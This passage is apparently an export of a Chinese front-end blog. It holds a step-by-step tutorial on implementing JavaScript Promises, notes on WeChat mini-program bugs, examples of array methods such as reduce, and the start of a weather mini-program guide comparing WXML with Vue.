<content type="text"><![CDATA[用过 Promise,但是总是有点似懂非懂的感觉,也看过很多文章,还是搞不懂 Promise的 实现原理,后面自己边看文章,边调试代码,终于慢慢的有感觉了,下面就按自己的理解来实现一个 Promise。 已将每一步的代码都放在了 github 上,方便大家阅读。如果觉得好的话,欢迎star。 想要完全理解代码,需要理解 this 和闭包的含义。 Promise是什么简单来说,Promise 主要就是为了解决异步回调的问题。用 Promise 来处理异步回调使得代码层次清晰,便于理解,且更加容易维护。其主流规范目前主要是 Promises/A+ 。对于 Promise 用法不熟悉的,可以参看我的这篇文章——es6学习笔记5–promise,理解了再来看这篇文章,会对你有很大帮助的。 在开始前,我们先写一个 promise 应用场景来体会下 promise 的作用。目前谷歌和火狐已经支持 es6 的 promise。我们采用 setTimeout 来模拟异步的运行,具体代码如下: 复制代码function fn1(resolve, reject) { setTimeout(function() { console.log(‘步骤一:执行’); resolve(‘1’); },500);} function fn2(resolve, reject) { setTimeout(function() { console.log(‘步骤二:执行’); resolve(‘2’); },100);} new Promise(fn1).then(function(val){ console.log(val); return new Promise(fn2);}).then(function(val){ console.log(val); return 33;}).then(function(val){ console.log(val);});复制代码最终我们写的promise同样可以实现这个功能。 初步构建下面我们来写一个简单的 promsie。Promise 的参数是函数 fn,把内部定义 resolve 方法作为参数传到 fn 中,调用 fn。当异步操作成功后会调用 resolve 方法,然后就会执行 then 中注册的回调函数。 复制代码function Promise(fn){ //需要一个成功时的回调 var callback; //一个实例的方法,用来注册异步事件 this.then = function(done){ callback = done; } function resolve(){ callback(); } fn(resolve);}复制代码加入链式支持下面加入链式,成功回调的方法就得变成数组才能存储。同时我们给 resolve 方法添加参数,这样就不会输出 undefined。 复制代码function Promise(fn) { var promise = this, value = null; promise._resolves = []; this.then = function (onFulfilled) { promise._resolves.push(onFulfilled); return this; }; function resolve(value) { promise._resolves.forEach(function (callback) { callback(value); }); } fn(resolve); }复制代码promise = this, 这样我们不用担心某个时刻 this 指向突然改变问题。 调用 then 方法,将回调放入 promise._resolves 队列; 创建 Promise 对象同时,调用其 fn, 并传入 resolve 方法,当 fn 的异步操作执行成功后,就会调用 resolve ,也就是执行promise._resolves 队列中的回调; resolve 方法 接收一个参数,即异步操作返回的结果,方便传值。 then方法中的 return this 实现了链式调用。但是,目前的 Promise 还存在一些问题,如果我传入的是一个不包含异步操作的函数,resolve就会先于 then 执行,也就是说 promise._resolves 是一个空数组。 为了解决这个问题,我们可以在 resolve 中添加 setTimeout,来将 resolve 中执行回调的逻辑放置到 JS 任务队列末尾。 复制代码 function resolve(value) { setTimeout(function() { promise._resolves.forEach(function (callback) { callback(value); }); },0); }复制代码引入状态剖析 Promise 之基础篇 说 这里存在一点问题: 如果 Promise 异步操作已经成功,之后调用 then 注册的回调再也不会执行了,而这是不符合我们预期的。 对于这句话不是很理解,有知道的可以留言说下,最好能给实例说明下。但我个人觉得是,then 中的注册的回调都会在 resolve 运行之前就添加到数组当中,不会存在不执行的情况啊。 接着上面的步伐,引入状态: 复制代码function Promise(fn) { var promise = this, value = null; promise._resolves = []; promise._status = ‘PENDING’; this.then = function (onFulfilled) { if (promise._status === &apos;PENDING&apos;) { promise._resolves.push(onFulfilled); return this; } onFulfilled(value); return this; }; function resolve(value) { setTimeout(function(){ promise._status = &quot;FULFILLED&quot;; promise._resolves.forEach(function (callback) { callback(value); }) },0); } fn(resolve); }复制代码每个 Promise 存在三个互斥状态:pending、fulfilled、rejected。Promise 对象的状态改变,只有两种可能:从 pending 变为 fulfilled 和从 pending 变为 rejected。只要这两种情况发生,状态就凝固了,不会再变了,会一直保持这个结果。就算改变已经发生了,你再对 Promise 对象添加回调函数,也会立即得到这个结果。这与事件(Event)完全不同,事件的特点是,如果你错过了它,再去监听,是得不到结果的。 加上异步结果的传递目前的写法都没有考虑异步返回的结果的传递,我们来加上结果的传递: 复制代码 function resolve(value) { setTimeout(function(){ promise._status = “FULFILLED”; promise._resolves.forEach(function (callback) { value = callback(value); }) },0); }复制代码串行 Promise串行 Promise 是指在当前 promise 达到 fulfilled 状态后,即开始进行下一个 promise(后邻 promise)。例如我们先用ajax从后台获取用户的的数据,再根据该数据去获取其他数据。 这里我们主要对 then 方法进行改造: 复制代码 this.then = function (onFulfilled) { return new Promise(function(resolve) { function handle(value) { var ret = isFunction(onFulfilled) &amp;&amp; onFulfilled(value) || value; resolve(ret); } if (promise._status === ‘PENDING’) { promise._resolves.push(handle); } else if(promise._status === FULFILLED){ handle(value); } }) }; 复制代码then 方法该改变比较多啊,这里我解释下: 注意的是,new Promise() 中匿名函数中的 promise (promise._resolves 中的 promise)指向的都是上一个 promise 对象, 而不是当前这个刚刚创建的。 首先我们返回的是新的一个promise对象,因为是同类型,所以链式仍然可以实现。 其次,我们添加了一个 handle 函数,handle 函数对上一个 promise 的 then 中回调进行了处理,并且调用了当前的 promise 中的 resolve 方法。 接着将 handle 函数添加到 上一个promise 的 promise._resolves 中,当异步操作成功后就会执行 handle 函数,这样就可以 执行 当前 promise 对象的回调方法。我们的目的就达到了。 有些人在这里可能会有点犯晕,有必要对执行过程分析一下,具体参看以下代码: new Promise(fn1).then(fn2).then(fn3)})fn1, fn2, fn3的函数具体可参看最前面的定义。 首先我们创建了一个 Promise 实例,这里叫做 promise1;接着会运行 fn1(resolve); 但是 fn1 中有一个 setTimeout 函数,于是就会先跳过这一部分,运行后面的第一个 then 方法; then 返回一个新的对象 promise2, promise2 对象的 resolve 方法和 then 方法的中回调函数 fn2 都被封装在 handle 中, 然后 handle 被添加到 promise1._resolves 数组中。 接着运行第二个 then 方法,同样返回一个新的对象 promise3, 包含 promise3 的 resolve 方法和 回调函数 fn3 的 handle 方法被添加到 promise2._resolves 数组中。 到此两个 then 运行结束。 setTimeout 中的延迟时间一到,就会调用 promise1的 resolve方法。 resolve 方法的执行,会调用 promise1._resolves 数组中的回调,之前我们添加的 handle 方法就会被执行; 也就是 fn2 和 promsie2 的 resolve 方法,都被调用了。 以此类推,fn3 会和 promise3 的 resolve 方法 一起执行,因为后面没有 then 方法了,promise3._resolves 数组是空的 。 至此所有回调执行结束 但这里还存在一个问题,就是我们的 then 里面函数不能对 Promise 对象进行处理。这里我们需要再次对 then 进行修改,使其能够处理 promise 对象。 复制代码this.then = function (onFulfilled) { return new Promise(function(resolve) { function handle(value) { var ret = typeof onFulfilled === ‘function’ &amp;&amp; onFulfilled(value) || value; if( ret &amp;&amp; typeof ret [‘then’] == ‘function’){ ret.then(function(value){ resolve(value); }); } else { resolve(ret); } } if (promise._status === ‘PENDING’) { promise._resolves.push(handle); } else if(promise._status === FULFILLED){ handle(value); } }) }; 复制代码在 then 方法里面,我们对 ret 进行了判断,如果是一个 promise 对象,就会调用其 then 方法,形成一个嵌套,直到其不是promise对象为止。同时 在 then 方法中我们添加了调用 resolve 方法,这样链式得以维持。 失败处理异步操作不可能都成功,在异步操作失败时,标记其状态为 rejected,并执行注册的失败回调。 有了之前处理 fulfilled 状态的经验,支持错误处理变得很容易。毫无疑问的是,在注册回调、处理状态变更上都要加入新的逻辑: 复制代码 this.then = function (onFulfilled, onRejected) { return new Promise(function(resolve, reject) { function handle(value) { ……. } function errback(reason){ reason = isFunction(onRejected) &amp;&amp; onRejected(reason) || reason; reject(reason); } if (promise._status === ‘PENDING’) { promise._resolves.push(handle); promise._rejects.push(errback); } else if(promise._status === ‘FULFILLED’){ handle(value); } else if(promise._status === ‘REJECTED’) { errback(promise._reason); } }) }; function reject(value) { setTimeout(function(){ promise._status = &quot;REJECTED&quot;; promise._rejects.forEach(function (callback) { promise._reason = callback( value); }) },0); } 复制代码添加Promise.all方法Promise.all 可以接收一个元素为 Promise 对象的数组作为参数,当这个数组里面所有的 Promise 对象都变为 resolve 时,该方法才会返回。 具体代码如下: 复制代码Promise.all = function(promises){ if (!Array.isArray(promises)) { throw new TypeError(‘You must pass an array to all.’); } // 返回一个promise 实例 return new Promise(function(resolve,reject){ var i = 0, result = [], len = promises.length, count = len; // 每一个 promise 执行成功后,就会调用一次 resolve 函数 function resolver(index) { return function(value) { resolveAll(index, value); }; } function rejecter(reason){ reject(reason); } function resolveAll(index,value){ // 存储每一个promise的参数 result[index] = value; // 等于0 表明所有的promise 都已经运行完成,执行resolve函数 if( –count == 0){ resolve(result) } } // 依次循环执行每个promise for (; i &lt; len; i++) { // 若有一个失败,就执行rejecter函数 promises[i].then(resolver(i),rejecter); } });}复制代码Promise.all会返回一个 Promise 实例,该实例直到参数中的所有的 promise 都执行成功,才会执行成功回调,一个失败就会执行失败回调。 日常开发中经常会遇到这样的需求,在不同的接口请求数据然后拼合成自己所需的数据,通常这些接口之间没有关联(例如不需要前一个接口的数据作为后一个接口的参数),这个时候 Promise.all 方法就可以派上用场了。 添加Promise.race方法该函数和 Promise.all 相类似,它同样接收一个数组,不同的是只要该数组中的任意一个 Promise 对象的状态发生变化(无论是 resolve 还是 reject)该方法都会返回。我们只需要对 Promise.all 方法稍加修改就可以了。 复制代码Promise.race = function(promises){ if (!Array.isArray(promises)) { throw new TypeError(‘You must pass an array to race.’); } return Promise(function(resolve,reject){ var i = 0, len = promises.length; function resolver(value) { resolve(value); } function rejecter(reason){ reject(reason); } for (; i &lt; len; i++) { promises[i].then(resolver,rejecter); } }); }复制代码代码中没有类似一个 resolveAll 的函数,因为我们不需要等待所有的 promise 对象状态都发生变化,只要一个就可以了。 添加其他API以及封装函数到这里,Promise 的主要API都已经完成了,另外我们在添加一些比较常见的方法。也对一些可能出现的错误进行了处理,最后对其进行封装。 完整的代码如下: 复制代码(function(window,undefined){ // resolve 和 reject 最终都会调用该函数var final = function(status,value){ var promise = this, fn, st; if(promise._status !== &apos;PENDING&apos;) return; // 所以的执行都是异步调用,保证then是先执行的 setTimeout(function(){ promise._status = status; st = promise._status === &apos;FULFILLED&apos; queue = promise[st ? &apos;_resolves&apos; : &apos;_rejects&apos;]; while(fn = queue.shift()) { value = fn.call(promise, value) || value; } promise[st ? &apos;_value&apos; : &apos;_reason&apos;] = value; promise[&apos;_resolves&apos;] = promise[&apos;_rejects&apos;] = undefined; }); } //参数是一个函数,内部提供两个函数作为该函数的参数,分别是resolve 和 rejectvar Promise = function(resolver){ if (!(typeof resolver === ‘function’ )) throw new TypeError(‘You must pass a resolver function as the first argument to the promise constructor’); //如果不是promise实例,就new一个 if(!(this instanceof Promise)) return new Promise(resolver); var promise = this; promise._value; promise._reason; promise._status = &apos;PENDING&apos;; //存储状态 promise._resolves = []; promise._rejects = []; // var resolve = function(value) { //由於apply參數是數組 final.apply(promise,[&apos;FULFILLED&apos;].concat([value])); } var reject = function(reason){ final.apply(promise,[&apos;REJECTED&apos;].concat([reason])); } resolver(resolve,reject); } Promise.prototype.then = function(onFulfilled,onRejected){ var promise = this; // 每次返回一个promise,保证是可thenable的 return new Promise(function(resolve,reject){ function handle(value) { // 這一步很關鍵,只有這樣才可以將值傳遞給下一個resolve var ret = typeof onFulfilled === &apos;function&apos; &amp;&amp; onFulfilled(value) || value; //判断是不是promise 对象 if (ret &amp;&amp; typeof ret [&apos;then&apos;] == &apos;function&apos;) { ret.then(function(value) { resolve(value); }, function(reason) { reject(reason); }); } else { resolve(ret); } } function errback(reason){ reason = typeof onRejected === &apos;function&apos; &amp;&amp; onRejected(reason) || reason; reject(reason); } if(promise._status === &apos;PENDING&apos;){ promise._resolves.push(handle); promise._rejects.push(errback); }else if(promise._status === FULFILLED){ // 状态改变后的then操作,立刻执行 callback(promise._value); }else if(promise._status === REJECTED){ errback(promise._reason); } }); } Promise.prototype.catch = function(onRejected){ return this.then(undefined, onRejected)} Promise.prototype.delay = function(ms,value){ return this.then(function(ori){ return Promise.delay(ms,value || ori); })} Promise.delay = function(ms,value){ return new Promise(function(resolve,reject){ setTimeout(function(){ resolve(value); console.log(‘1’); },ms); })} Promise.resolve = function(arg){ return new Promise(function(resolve,reject){ resolve(arg) })} Promise.reject = function(arg){ return Promise(function(resolve,reject){ reject(arg) })} Promise.all = function(promises){ if (!Array.isArray(promises)) { throw new TypeError(‘You must pass an array to all.’); } return Promise(function(resolve,reject){ var i = 0, result = [], len = promises.length, count = len //这里与race中的函数相比,多了一层嵌套,要传入index function resolver(index) { return function(value) { resolveAll(index, value); }; } function rejecter(reason){ reject(reason); } function resolveAll(index,value){ result[index] = value; if( --count == 0){ resolve(result) } } for (; i &lt; len; i++) { promises[i].then(resolver(i),rejecter); } }); } Promise.race = function(promises){ if (!Array.isArray(promises)) { throw new TypeError(‘You must pass an array to race.’); } return Promise(function(resolve,reject){ var i = 0, len = promises.length; function resolver(value) { resolve(value); } function rejecter(reason){ reject(reason); } for (; i &lt; len; i++) { promises[i].then(resolver,rejecter); } }); } window.Promise = Promise; })(window);复制代码 下载完整版代码,点击 github ,如果觉得好的话,欢迎star。 代码写完了,总要写几个实例看看效果啊,具体看下面的测试代码: 复制代码var getData100 = function(){ return new Promise(function(resolve,reject){ setTimeout(function(){ resolve(‘100ms’); },1000); });} var getData200 = function(){ return new Promise(function(resolve,reject){ setTimeout(function(){ resolve(‘200ms’); },2000); });}var getData300 = function(){ return new Promise(function(resolve,reject){ setTimeout(function(){ reject(‘reject’); },3000); });} getData100().then(function(data){ console.log(data); // 100ms return getData200();}).then(function(data){ console.log(data); // 200ms return getData300();}).then(function(data){ console.log(data);}, function(data){ console.log(data); // ‘reject’}); Promise.all([getData100(), getData200()]).then(function(data){ console.log(data); // [ “100ms”, “200ms” ]}); Promise.race([getData100(), getData200(), getData300()]).then(function(data){ console.log(data); // 100ms});Promise.resolve(‘resolve’).then(function(data){ console.log(data); //‘resolve’})Promise.reject(‘reject函数’).then(function(data){ console.log(data);}, function(data){ console.log(data); //‘reject函数’})复制代码]]></content>
<categories>
<category>ES6</category>
</categories>
<tags>
<tag>javascript</tag>
<tag>ES6</tag>
</tags>
</entry>
<entry>
<title><![CDATA[小程序bug集合]]></title>
<url>%2F2019%2F01%2F18%2Fminiprogram-bug%2F</url>
<content type="text"><![CDATA[本地目录下的背景图加载不出来 使用线上图片链接,或者压缩成base64,常用做法可以用云存储功能 区域滚动,&lt;view&gt; 加滚动属性 overflow: auto; 在真机上滑动卡顿 区域滚动使用 &lt;scroll-view&gt; 组件 &lt;scroll-view&gt; 分页加载,上拉滚动到底部,没有触发scrolltolower 事件 需要设置 &lt;scroll-view&gt; 的 height 属性 小程序底部 tabBar 图标模糊 icon 大小限制为 40kb,建议尺寸为 81px * 81px WXML 中数据绑定 Mustache 语法(双括号)不可执行函数 双括号内不能执行任何方法,只能做简单的试着运算和 Boolen 判断,也可以用 wxs 处理,比如 { {m.parse(item)} } wx.navigateBack() 无法向回退页面传参 小程序的几个导航 api 都可以通过 url 给对应页面传参。而 wx.navigateBack(delta) 只接受一个 delta 参数,但是有时候确实有向回退页面传参,这时候只能通过 localstorage 或 redux 来处理。 不能正常加载字体文件 基础库 2.1.0 开始支持,字体链接必须是同源下的,或开启了 cors 支持,小程序的域名是 servicewechat.com 在真机上,Canvas 组件不随 &lt;scroll-view&gt; 一起滚动 Canvas 渲染完成后,wx.canvasToTempFilePath 获取地址生成图片,用图片代替。或者在 &lt;scroll-view&gt; 滚动时触发 bindscroll 事件同步调整 Canvas 位置跟随滚动。 为什么 map 组件总是在最上层 map、canvas、video、textarea 是由客户端创建的原生组件,原生组件的层级是最高的,所以页面中的其他组件无论设置 z-index 为多少,都无法盖在原生组件上。 原生组件暂时还无法放在 scroll-view 上,也无法对原生组件设置 css 动画。]]></content>
<categories>
<category>小程序</category>
</categories>
<tags>
<tag>小程序</tag>
</tags>
</entry>
<entry>
<title><![CDATA[简约强大数组操作组合]]></title>
<url>%2F2018%2F12%2F25%2Farray-combination%2F</url>
<content type="text"><![CDATA[前言在实际js开发中对数组操作频率非常高,看过一些小伙伴的一些用法,挺有意思,在这里小记(不全)一下,备忘。 5个迭代方法:every、filter、forEach、map和some every():对数组中的每一项运行给定函数,如果该函数每一项都返回true,则返回true; filter():对数组中的每一项运行给定函数,返回该函数会返回true的项组成的数组; forEach():对数组中的每一项运行给定函数,这个方法没有返回值; map():对数组中的每一项运行给定函数,返回每次函数调用的结果组成的数组; some():对数组中的每一项运行给定函数,如果该函数任意一项返回true,则返回true; 123456789101112131415161718192021222324// everyvar numbers = [1, 2, 3, 4, 5, 6, 7];var everyResult = numbers.every(function (item, index, array) &#123; return (item &gt; 2);&#125;);console.log(everyResult); // false// somesomeResult = numbers.some(function (item, index, array) &#123; return (item &gt; 2);&#125;);console.log(someResult); // true// filtervar filterResult = numbers.filter(function (item, index, array) &#123; return (item &gt; 2);&#125;);console.log(filterResult); // [3, 4, 5, 6, 7]// mapvar mapResult = numbers.map(function (item, index, array) &#123; return item * 2;&#125;);console.log(mapResult); // [2, 4, 6, 8, 10, 12, 14] 一个归并方法:reducearray.reduce(callback[, initialValue])第一个参数是每一项上调用的函数,该函数有四个参数: accumulator:累加回调返回值;他是上一次调用时返回的累积值,或initValue; currentValue:数组中正在处理的元素; currentIndex:数组中正在处理的当前元素的索引。如果提供了initialValue,这索引号为0,否则索引为1; array:调用reduce()的数组。 当第二个参数省略时,遍历从数组第二项开始,数组第一项被当作前一个值accumulator。 数组求和 12345const numbers = [10, 20, 30, 40];numbers.reduce((acc, cur, index, arr) =&gt; &#123; console.log('acc: ' + acc + '; ' + 'cur: ' + cur + ';'); return acc + cur;&#125;) 结果为: 123acc: 10; cur: 20;acc: 30; cur: 30;acc: 60; cur: 40; 这第二个参数就是设置accumulator的初始类型和初始值,比如为0,就表示accumulator的初始值为Number类型,值为0,因此,reduce的最终结果也会是Number类型。 12345const numbers = [10, 20, 30, 40];numbers.reduce((acc, cur, index, arr) =&gt; &#123; console.log('acc: ' + acc + '; ' + 'cur: ' + cur + ';'); return acc + cur;&#125;, 0) 结果为: 1234acc: 0; cur: 10;acc: 10; cur: 20;acc: 30; cur: 30;acc: 60; cur: 40; 强大的reducereduce作为归并方法,在有些情形可以替代其它数组操作方法,强大之处,还得要落实在具体的案例上。 假设现在有一个数列[10, 20, 30, 40, 50],每一项乘以2,然后筛选出大于60的项。 在这里更新数组每一项(map的功能)然后筛选出一部分(filter的功能),如果是先使用map然后filter的话,你需要遍历这个数组两次。在这里用reduce更高效。 123456789var numbers = [10, 20, 30, 40, 50];var result = numbers.reduce(function (acc, cur) &#123; cur = cur * 2; if (cur &gt; 60) &#123; acc.push(cur); &#125; return acc;&#125;, []);console.log(result); // [80, 100] 从这个例子可以看出reduce完成了map和filter的使命。 统计数组中重复出现项的个数,用对象表示。 123456var letters = ['A', 'B', 'C', 'C', 'B', 'C', 'C'];var letterObj = letters.reduce(function (acc, cur) &#123; acc[cur] = acc[cur] ? ++acc[cur] : 1; return acc;&#125;, &#123;&#125;);console.log(letterObj); // &#123;A: 1, B: 2, C: 4&#125; 数组去重 12345678var letters = ['A', 'B', 'C', 'C', 'B', 'C', 'C'];var letterArr = letters.reduce(function (acc, cur) &#123; if (acc.indexOf(cur) === -1) &#123; acc.push(cur); &#125; return acc;&#125;, []);console.log(letterArr); // ["A", "B", "C"] ps:了解更多数组去重方法,点这里。 与ES6的结合与ES6结合使用也会擦出不少火花。 删除目标对象某个属性。 1234567891011121314151617const person = &#123; name: 'jazz', gender: 'male', age: 24&#125;;const personUnknowAge = Object.keys(person).filter((key) =&gt; &#123; return key !== 'age';&#125;).map((key) =&gt; &#123; return &#123; [key]: person[key] &#125;&#125;).reduce((acc, cur) =&gt; &#123; return &#123;...acc, ...cur&#125;;&#125;, &#123;&#125;);console.log(personUnknowAge); // &#123;name: "jazz", gender: "male"&#125; 更简洁的方案,利用ES6中函数参数解构: 12const personUnknowAge = ((&#123;name, gender&#125;) =&gt; (&#123;name, gender&#125;))(person);console.log(personUnknowAge); // &#123;name: "jazz", gender: "male"&#125; 当然还有更简单的方案,利用ES6中对象解构: 1234567const person = &#123; name: 'jazz', gender: 'male', age: 24&#125;;let &#123; age, ...personUnknowAge &#125; = person;console.log(personUnknowAge); // &#123;name: "jazz", gender: "male"&#125; 结尾数组操作的“妙用”远不止这些,后面有空再研究补充吧,完~]]></content>
<categories>
<category>javascript</category>
</categories>
<tags>
<tag>javascript</tag>
</tags>
</entry>
<entry>
<title><![CDATA[从入门到上线一个天气小程序]]></title>
<url>%2F2018%2F10%2F31%2Fminiprogram-abc%2F</url>
<content type="text"><![CDATA[前言学习了一段时间小程序,大致过了两遍开发文档,抽空做个自己的天气预报小程序,全当是练手,在这记录下。小程序开发的安装、注册和接入等流程就不罗列了,在小程序接入指南已经写得很清楚了,以下只对开发过程常用到得一些概念进行简单梳理,类比 Vue 加强记忆,最后选取个人项目天气小程序中要注意的几点来说明。 欢迎扫码体验 源码请戳这里,欢迎start~ 初始化项目目录结构安装好开发者工具,填好申请到的AppID,选好项目目录,初始化一个普通小程序目录结构,得到: 1234567891011121314151617--|-- pages |-- index |-- index.js // 首页js文件 |-- index.json // 首页json文件 |-- index.wxml // 首页wxml文件 |-- index.wxss // 首页wxss文件 |-- logs |-- logs.js // 日志页js文件 |-- logs.json // 日志页json文件 |-- logs.wxml // 日志页wxml文件 |-- logs.wxss // 日志页wxss文件 |-- utils |-- util.js // 小程序公用方法 |-- app.js // 小程序逻辑 |-- app.json // 小程序公共配置 |-- app.wxss // 小程序公共样式表 |-- project.config.json // 小程序项目配置 可以看到,项目文件主要分为.json、.wxml,.wxss和.js类型,每一个页面由四个文件组成,为了方便开发者减少配置,描述页面的四个文件必须具有相同的路径与文件名。 JSON配置小程序配置 app.jsonapp.json配置是当前小程序的全局配置,包括小程序的所有页面路径、界面表现、网络超时时间、底部 tab 等。 工具配置 project.config.json工具配置在小程序的根目录,对工具做的任何配置都会写入这个文件,使得只要载入同一个项目代码包,开发则工具会自动恢复当时你开发项目时的个性设置。 页面配置 page.json页面配置 是小程序页面相关的配置,让开发者可以独立定义每个页面的一些属性,比如顶部颜色,是否下拉等。 WXML 模板WXML 充当类似 HTML 的角色,有标签,有属性,但是还是有些区别: 标签名不一样。写 HTML 常用标签 &lt;div&gt;,&lt;p&gt;,&lt;span&gt;等,而小程序中标签更像是封装好的组件,比如&lt;scroll-view&gt;, &lt;swiper&gt;, &lt;map&gt;,提供相应的基础能力给开发者使用。 提供 wx:if,&#123;&#123;&#125;&#125;等模板语法。小程序将渲染和逻辑分离,类似于React,Vue的MVVM开发模式,而不是让 JS 操作 DOM。 下面针对小程序的数据绑定、列表渲染、条件渲染、模板、事件和应用跟 Vue 类比加深记忆。 数据绑定WXML 中的动态数据均来自对应 Page(或 Component) 的 data,而在 Vue中来自当前组件。 小程序和Vue的数据绑定都使用 Mustache 语法,双括号将变量包起来。区别是 Vue 中使用Mustache 语法不能作用在 HTML 特性上 1&lt;div v-bind:id="'list-' + id"&gt;&#123;&#123;msg&#125;&#125;&lt;/div&gt; 而小程序作用在标签属性上 1&lt;view id="item-&#123;&#123;id&#125;&#125;"&gt;&#123;&#123;msg&#125;&#125;&lt;/view&gt; 列表渲染Vue 中使用 v-for 指令根据一组数组的选项列表,也可以通过一个对象的属性迭代进行渲染,使用 (item, index) in items 或 (item, index) of items 形式特殊语法。 12345&lt;ul&gt; &lt;li v-for="(item, index) in items"&gt; &#123;&#123; index &#125;&#125; - &#123;&#123; item.message &#125;&#125; &lt;/li&gt;&lt;/ul&gt; 渲染包含多个元素,利用 &lt;template&gt;元素 123456&lt;ul&gt; &lt;template v-for="(item, index) in items"&gt; &lt;li&gt;&#123;&#123; index &#125;&#125; - &#123;&#123; item.message &#125;&#125;&lt;/li&gt; &lt;li class="divider" role="presentation"&gt;&lt;/li&gt; &lt;/template&gt;&lt;/ul&gt; 而在小程序中使用 wx:for 控制属性绑定一个数组(其实对象也可以),默认数组的当前项的下标变量为 index ,当前项变量为 item。 1&lt;view wx:for="&#123;&#123;items&#125;&#125;"&gt; &#123;&#123;index&#125;&#125; - &#123;&#123;item.message&#125;&#125; &lt;/view&gt; 也可以用 wx:for-item 指定数组当前元素的变量名,用 wx:for-index 指定数组当前下标的变量名。 123&lt;view wx:for="&#123;&#123;items&#125;&#125;" wx:for-index="idx" wx:for-item="itemName"&gt; &#123;&#123;idx&#125;&#125;: &#123;&#123;itemName.message&#125;&#125;&lt;/view&gt; 渲染一个包含多节点的结构块,利用 &lt;block&gt; 标签 1234&lt;block wx:for="&#123;&#123;items&#125;&#125;"&gt; &lt;view&gt; &#123;&#123;index&#125;&#125; - &#123;&#123;item.message&#125;&#125; &lt;/view&gt; &lt;view class="divider" role="presentation"&gt;&lt;/view&gt;&lt;/block&gt; 条件渲染Vue 中使用v-if、v-else-if、v-else指令条件渲染,多个元素使用&lt;template&gt;包裹,而小程序中使用wx:if、wx:elseif、wx:else来条件渲染,多个组件标签使用&lt;block&gt;包裹。 模板在 Vue 中定义模板一种方式是在 &lt;script&gt; 元素中,带上 text/x-template 的类型,然后通过一个id将模板引用过去。 定义模板: 1234&lt;script type="text/x-template" id="hello-world-template"&gt; &lt;p&gt;Hello hello hello&lt;/p&gt; &lt;p&gt;&#123;&#123;msg&#125;&#125;&lt;/p&gt;&lt;/script&gt; 使用模板: 12345678Vue.component('hello-world', &#123; template: '#hello-world-template', data () &#123; return &#123; msg: 'this is a template' &#125; &#125;&#125;) 而在小程序中,在 &lt;template&gt; 中使用 name 属性作为模板名称,使用 is 属性声明需要使用的模板,然后将模板所需的 data 传入。 定义模板: 1234&lt;template name="hello-world-template"&gt; &lt;view&gt;Hello hello hello&lt;/view&gt; &lt;view&gt;&#123;&#123;msg&#125;&#125;&lt;/view&gt;&lt;/template&gt; 使用模板: 1&lt;template is="hello-world-template" data="&#123;&#123;...item&#125;&#125;"&gt;&lt;/template&gt; 1234567Page(&#123; data: &#123; item: &#123; msg: 'this is a template' &#125; &#125;&#125;) 事件在 Vue 中,用 v-on 指令监听 DOM 事件,并在触发时运行一些 JavaScript 代码,对于阻止事件冒泡、事件捕获分别提供事件修饰符.stop和.capture的形式 12345&lt;!-- 阻止单击事件继续传播 --&gt;&lt;a v-on:click.stop="doThis"&gt;&lt;/a&gt;&lt;!-- 添加事件监听器时使用事件捕获模式 --&gt;&lt;!-- 即元素自身触发的事件先在此处理,然后才交由内部元素进行处理 --&gt;&lt;div v-on:click.capture="doThis"&gt;...&lt;/div&gt; 而在小程序中,绑定事件以 key,value 的形式,key 以 bind 或 catch 开头,然后跟上事件的类型,如 bindtap、catchtouchstart,也可紧跟一个冒号形式,如 bind:tap、catch:touchstart。bind 事件绑定不会阻止冒泡事件向上冒泡,catch 事件绑定可以阻止冒泡事件向上冒泡。 1234&lt;!-- 单击事件冒泡继续传播 --&gt;&lt;view bindtap="doThis"&gt;bindtap&lt;/view&gt;&lt;!-- 阻止单击事件冒泡继续传播 --&gt;&lt;view catchtap="doThis"&gt;bindtap&lt;/view&gt; 采用 capture-bind、capture-catch 分别捕获事件和中断捕获并取消冒泡。 1234&lt;!-- 捕获单击事件继续传播 --&gt;&lt;view capture-bind:tap="doThis"&gt;bindtap&lt;/view&gt;&lt;!-- 捕获单击事件阻止继续传播,并且阻止冒泡 --&gt;&lt;view capture-catch="doThis"&gt;bindtap&lt;/view&gt; 引用在 Vue 中引用用于组件的服用引入 12import ComponentA from './ComponentA'import ComponentC from './ComponentC' 在小程序中,WXML 提供两种引用方式 import 和 include。 在 item.wxml 中定义了一个叫item的template: 1234&lt;!-- item.wxml --&gt;&lt;template name="item"&gt; &lt;text&gt;&#123;&#123;text&#125;&#125;&lt;/text&gt;&lt;/template&gt; 在 index.wxml 中引用了 item.wxml,就可以使用item模板: 1&lt;import src="item.wxml" /&gt; &lt;template is="item" data="&#123;&#123;text: 'forbar'&#125;&#125;" /&gt; include 可以将目标文件除了 &lt;template&gt; &lt;wxs&gt; 外整个代码引入: 123456&lt;!-- index.wxml --&gt;&lt;include src="header.wxml" /&gt; &lt;view&gt; body &lt;/view&gt; &lt;include src="footer.wxml" /&gt;&lt;!-- header.wxml --&gt;&lt;view&gt; header &lt;/view&gt;&lt;!-- footer.wxml --&gt;&lt;view&gt; footer &lt;/view&gt; WXSS 样式WXSS(WeiXin Style Sheets) 具有 CSS 大部分的特性,也做了一些扩充和修改。 尺寸单位rpx支持新的尺寸单位 rpx,根据屏幕宽度自适应,规定屏幕宽为750rpx,免去开发换算的烦恼(采用浮点计算,和预期结果会有点偏差)。 设备 rpx换算px(屏宽/750) px换算rpx(750/屏宽) iPhone5 1rpx = 0.42px 1px = 2.34rpx iPhone6 1rpx = 0.5px 1px = 2rpx iPhone6 Plus 1rpx = 0.552px 1px = 1.81rpx iPhone6上,换算相对最简单,1rpx = 0.5px = 1物理像素,建议设计师以 iPhone6 为设计稿。 样式导入使用 @import 语句导入外联样式表,注意路径为相对路径。 全局样式与局部样式app.wxss中的样式为全局样式,在 Page (或 Component) 的 wxss文件中定义的样式为局部样式,自作用在对应页面,并会覆盖 app.wxss 中相同选择器。 页面注册小程序是以 Page(Object) 构造页面独立环境,app加载后,初始化某个页面,类似于 Vue 的实例化过程,有自己的初始数据、生命周期和事件处理回调函数。 初始化数据和 Vue 一样,在构造实例属性上都有一个 data 对象,作为初始数据。 Vue 中修改 data 中某个属性值直接赋值即可,而在小程序中需要使用 Page 的实例方法 setData(Object data, Function callback) 才起作用,不需要在 this.data 中预先定义,单次设置数据大小不得超过1024kb。 支持以数据路径的形式改变数组某项或对象某项属性: 1234// 对于对象或数组字段,可以直接修改一个其下的子字段,这样做通常比修改整个对象或数组更好 this.setData(&#123; 'array[0].text': 'changed data' &#125;) 生命周期回调函数每个 Vue 实例在被创建时都要经过一系列的初始化过程,每一个阶段都有相应钩子函数被调用,created mounted updated destroyed。 对于小程序生命周期,分为 Page 的生命周期和 Component 的生命周期。 Page 的生命周期回调函数有: onLoad 生命周期回调-监听页面加载 onShow 